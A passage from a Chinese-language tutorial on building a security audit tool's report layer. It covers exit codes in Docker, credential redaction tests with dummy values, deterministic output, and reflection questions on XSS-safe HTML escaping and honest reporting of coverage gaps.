docker run … audit-toolbox:1.0 --input /data/findings.json --format json \
    --fail-on high --generated-at fixed --allow-coverage-gaps
exit=1        # ← 与本地运行完全一致

这一条是 exec 形式 ENTRYPOINT 的直接证据。
如果换成 shell 形式(ENTRYPOINT python …),退出码会被 /bin/sh 包一层,
CI 里的门禁就不再可靠。

7.5 脱敏实测(含一次修复)

'Authorization: Bearer abcdefgh12345'   -> 'Authorization: <REDACTED>'
'password=abc123; token=xyz987'         -> 'password=<REDACTED>; token=<REDACTED>'
'http://alice:qwerty9876@example.com/x' -> 'http://<REDACTED>:<REDACTED>@example.com/x'
Cookie: sid=deadbeef; theme=dark        -> 'Cookie: <REDACTED>'

每条都验证了幂等(二次脱敏与一次相同)。
第一版规则写成 \S+ 时,Authorization: Bearer zzz 会被擦成
Authorization: <REDACTED> zzz——令牌尾巴漏出去了。
改成吃到行尾([^\r\n]+)才修好。这就是 5.6 节铁律第 3 条的来历。

7.6 确定性实测

两次渲染是否字节一致:True
顺序 A:['R-SQLI', 'R-CLEARTEXT', 'R-OPEN-PORT']
顺序 B:['R-SQLI', 'R-CLEARTEXT', 'R-OPEN-PORT']    ← 输入完全反序,输出相同
已修复(old - new):['fd50b189af15']
新增 (new - old):[]

7.7 脱敏顺序实测(误报实证)

[正确顺序] 凭证复用命中:(无)                 ← 两个不同口令,不误报
[错误顺序] 指纹:['sha256:70de1811/len=25', 'sha256:70de1811/len=25']
[错误顺序] 凭证复用命中:{'…': {'bob', 'alice'}}  ← 两个不同口令被擦成同一个 → 误报

这一条比任何文字论证都有说服力:过度脱敏会制造误报,
而误报比漏报更容易骗过只看告警数量的人。

7.8 一个诚实的遗留项

out/ 与 tools/ 已在 .gitignore 中:前者是运行产物(可随时重生成),
后者含本地进度数据。所以本课提交的是可重跑的代码与配置,
而不是产物快照。这也符合 2.5 节的原则:
应该提交的是"能生产",而不是"生产出来的那一份"(后者只有确定性地生成才有意义)。


8. 思考题

每道题都请写出理由,不要只写结论。

思考 1:为什么报告层不能用 datetime.now()?

请顺着链条推:不确定的时间戳 → 报告每吹不同 → git diff 失效 → …… →
最后会影响哪一个业务能力?(提示:从“回归对比”推到“审计结论能不能被复核”。)

参考方向:报告一旦不可复现,别人就无法验证你的结论,
审计就从“可复核的证据”退化成“一张截图”。

思考 2:如果两个不同的问题碰巧有相同的 (target, rule_id, severity),会怎样?

本课的 id 只由这三个字段组成。请找出一个真实场景能造成这种碰撞,
并给出一个修法(同时保住“改文案不换 id”这个优点)。

参考方向:同一 URL 上同一规则命中两次(例如两个不同参数都触发了 XSS)。
修法:把“定位到具体位置”的信息(参数名/行号)加进 id,
但保持 title/reason 不入哈希。

思考 3:HTML 渲染为什么必须 html.escape()?举一个具体攻击路径

本题是安全的重点。请完整写出:
(a)被审计目标返回了什么;(b)报告怎么把它带进去;
(c)谁会被成功攻击;(d)多了一层什么防护就能阻断。

参考方向:见 3.6 节。关键认识是:审计工具处理的是不可信输入。
一个功能正常的“报告预览”界面就足以把存储型 XSS 送到审计员浏览器里。

思考 4:为什么退出码 4(覆盖缺口)不能和 0(通过)合并?

请从“行动项”角度回答,而不是从“返回值”角度。
如果一个 CI 流水线把 4 当成 0 处理,长期会发生什么?

参考方向:把“没测到”当成“没问题”,于是“什么都测不到”的配置
会看起来永远绿灯。这是审计工具最危险的失败模式。

思考 5:门禁用原始 severity,排序用风险分——为什么不统一成一套?

如果你强行把两者统一(比如门禁也乘置信度系数),会出现什么后果?
请举出一个具体的“不该放过但会被放过”的例子。

参考方向:见 6.3 节。低置信度 high 在风险分里是 7(比 medium 还低),
如果门禁用风险分,那么“证据不完美的高危”就会被合法放过。
门禁与排序回答的是两个不同问题:能不能放过 vs 先看哪个。


9. 收官:四天项目的一句话总结

Day 162  资产面   →  有哪些东西存在
Day 163  漏洞面   →  它们有什么弱点
Day 164  流量面   →  网络上实际发生了什么(且秘密不落盘)
Day 165  产出面   →  变成可交付、可复核、可门禁的证据链

如果现在有人问你“你这个工具能保证我的系统安全吗?”,
诚实的回答包含三件事:不能保证(只覆盖测过的范围)、
覆盖缺口在哪(主动说出盲区)、结论有边界(未发现 ≠ 没有)。

一个声称“保证安全”的安全工具,要么在说谎,要么在把责任转移给使用者。
一个诚实的工具的标配,是把自己的边界说清楚。
这句话是这四天里比任何一行代码都重要的东西。


下一天:Day 166 — 系统监控(psutil)。
从“审计别人的系统”转向“保护自己的系统”:
CPU / 内存 / 磁盘 / 网络监控、进程管理、系统信息采集,以及一个可用的监控脚本。